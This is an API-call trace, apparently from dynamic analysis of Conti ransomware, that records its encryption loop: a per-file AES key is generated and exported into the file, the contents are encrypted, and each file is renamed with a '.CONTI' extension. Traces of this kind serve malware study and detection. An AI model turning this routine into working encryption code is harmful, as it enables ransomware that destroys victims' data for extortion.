	[0117.192] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d2760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65d2760*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0117.192] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.192] CloseHandle (hObject=0x3a8) returned 1
	[0117.192] GetProcessHeap () returned 0x1720000
	[0117.192] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.192] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.192] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.192] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.193] GetProcessHeap () returned 0x1720000
	[0117.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.193] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.193] GetProcessHeap () returned 0x1720000
	[0117.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd550 | out: hHeap=0x1720000) returned 1
	[0117.193] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.193] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65cfe58 | out: phKey=0x65cfe58*=0x6b7f3b8) returned 1
	[0117.193] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cfe5c, pdwDataLen=0x3f7fc54 | out: pbData=0x65cfe5c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.194] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.195] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.195] GetLastError () returned 0x0
	[0117.195] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0117.195] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.195] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.195] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.195] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.195] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.195] WriteFile (in: hFile=0x3a8, lpBuffer=0x65cfe5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65cfe5c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.196] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.196] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0119.009] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0119.009] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.009] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0119.009] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.009] WriteFile (in: hFile=0x3a8, lpBuffer=0x65cfe50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65cfe50*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0119.009] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.009] CloseHandle (hObject=0x3a8) returned 1
	[0119.009] GetProcessHeap () returned 0x1720000
	[0119.009] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.558] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0120.558] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0120.558] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0120.559] GetProcessHeap () returned 0x1720000
	[0120.559] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.559] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0120.559] GetProcessHeap () returned 0x1720000
	[0120.559] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd350 | out: hHeap=0x1720000) returned 1
	[0120.559] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.352] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ee08 | out: phKey=0x6b4ee08*=0x6b7eab8) returned 1
	[0122.352] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ee0c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4ee0c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml")) returned 0x20
	[0122.354] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.355] GetLastError () returned 0x0
	[0122.355] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=26) returned 1
	[0122.355] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a
	[0122.355] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.355] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.355] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.355] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.355] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4ee0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee0c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0122.356] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.356] ReadFile (in: hFile=0x3a4, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x1a, lpOverlapped=0x0) returned 1
	[0122.356] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1a, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x20) returned 1
	[0122.356] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.356] WriteFile (in: hFile=0x3a4, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x20, lpOverlapped=0x0) returned 1
	[0122.357] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.357] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4ee00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee00*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0122.357] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.357] CloseHandle (hObject=0x3a4) returned 1
	[0122.357] GetProcessHeap () returned 0x1720000
	[0122.357] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.357] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" | out: lpString1="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml"
	[0122.357] lstrcatW (in: lpString1="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.CONTI") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.CONTI"
	[0122.357] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), lpNewFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.CONTI" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml.conti")) returned 1
	[0122.359] GetProcessHeap () returned 0x1720000
	[0122.359] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.359] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0122.359] GetProcessHeap () returned 0x1720000
	[0122.359] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aa40 | out: hHeap=0x1720000) returned 1
	[0122.359] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.359] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x6b7eb38) returned 1
	[0122.359] CryptExportKey (in: hKey=0x6b7eb38, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x3f7fc54 | out: pbData=0x6b51044*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.360] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.012.etl")) returned 0x2020
	[0122.360] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.360] GetLastError () returned 0x0
	[0122.360] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0122.361] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.361] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.361] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.361] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.361] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.361] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0122.362] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.362] ReadFile (in: hFile=0x3a4, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0122.363] CryptEncrypt (in: hKey=0x6b7eb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0122.363] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.363] WriteFile (in: hFile=0x3a4, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0122.363] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.363] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0122.365] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.365] CloseHandle (hObject=0x3a4) returned 1
	[0122.365] GetProcessHeap () returned 0x1720000
	[0122.365] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.365] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl"
	[0122.365] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.CONTI"
	[0122.365] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.012.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.012.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.012.etl.conti")) returned 1
	[0122.365] GetProcessHeap () returned 0x1720000
	[0122.365] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.365] CryptDestroyKey (hKey=0x6b7eb38) returned 1
	[0122.366] GetProcessHeap () returned 0x1720000
	[0122.366] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a840 | out: hHeap=0x1720000) returned 1
	[0122.366] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.366] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x6b7eab8) returned 1
	[0122.366] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4d4f4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.366] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.013.etl")) returned 0x2020
	[0122.367] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.367] GetLastError () returned 0x0
	[0122.367] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0122.367] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.367] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.367] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.367] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.367] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.368] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0122.369] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.369] ReadFile (in: hFile=0x3a4, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0122.370] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0122.370] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.370] WriteFile (in: hFile=0x3a4, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0122.370] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.370] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0122.370] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.370] CloseHandle (hObject=0x3a4) returned 1
	[0122.370] GetProcessHeap () returned 0x1720000
	[0122.370] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.372] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl"
	[0122.372] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.CONTI"
	[0122.372] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.013.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.013.etl.conti")) returned 1
	[0122.373] GetProcessHeap () returned 0x1720000
	[0122.373] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.373] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0122.373] GetProcessHeap () returned 0x1720000
	[0122.373] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a940 | out: hHeap=0x1720000) returned 1
